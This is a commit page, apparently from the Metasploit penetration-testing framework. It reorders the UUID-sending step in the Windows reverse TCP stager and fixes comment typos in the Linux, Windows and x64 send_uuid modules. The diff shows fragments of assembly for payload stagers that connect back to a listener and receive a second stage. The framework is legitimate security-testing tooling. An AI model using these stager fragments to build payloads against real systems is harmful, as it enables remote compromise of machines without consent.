Skip to content

Commit 340792a

Browse files
author
Brent Cook
committed
don't jump past the uuid sender on win32/tcp connect
1 parent 16bc088 commit 340792a

File tree

4 files changed

+7
-5
lines changed

4 files changed

+7
-5
lines changed

lib/msf/core/payload/linux/send_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ def asm_send_uuid(uuid=nil)
2828
push ecx ; store ecx for later
2929
push 0 ; terminate the args array
3030
push #{uuid_raw.length} ; length of the UUID
31-
call get_uuid_address ; put uuid buffer on tehe stack
31+
call get_uuid_address ; put uuid buffer on the stack
3232
db #{raw_to_db(uuid_raw)} ; UUID itself
3333
get_uuid_address:
3434
push edi ; socket handle

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -177,11 +177,13 @@ def asm_reverse_tcp(opts={})
177177
end
178178
=end
179179

180-
asm << asm_send_uuid if include_send_uuid
181-
182180
asm << %Q^
183181
connected:
182+
^
184183

184+
asm << asm_send_uuid if include_send_uuid
185+
186+
asm << %Q^
185187
recv:
186188
; Receive the size of the incoming second stage...
187189
push 0 ; flags

lib/msf/core/payload/windows/send_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ def asm_send_uuid(uuid=nil)
2727
send_uuid:
2828
push 0 ; flags
2929
push #{uuid_raw.length} ; length of the UUID
30-
call get_uuid_address ; put uuid buffer on tehe stack
30+
call get_uuid_address ; put uuid buffer on the stack
3131
db #{raw_to_db(uuid_raw)} ; UUID
3232
get_uuid_address:
3333
push edi ; saved socket

lib/msf/core/payload/windows/x64/send_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ def asm_send_uuid(uuid=nil)
2828
xor r9, r9 ; flags
2929
push #{uuid_raw.length} ; length of the UUID
3030
pop r8
31-
call get_uuid_address ; put uuid buffer on tehe stack
31+
call get_uuid_address ; put uuid buffer on the stack
3232
db #{raw_to_db(uuid_raw)} ; UUID
3333
get_uuid_address:
3434
pop rdx ; UUID address

0 commit comments

Comments
 (0)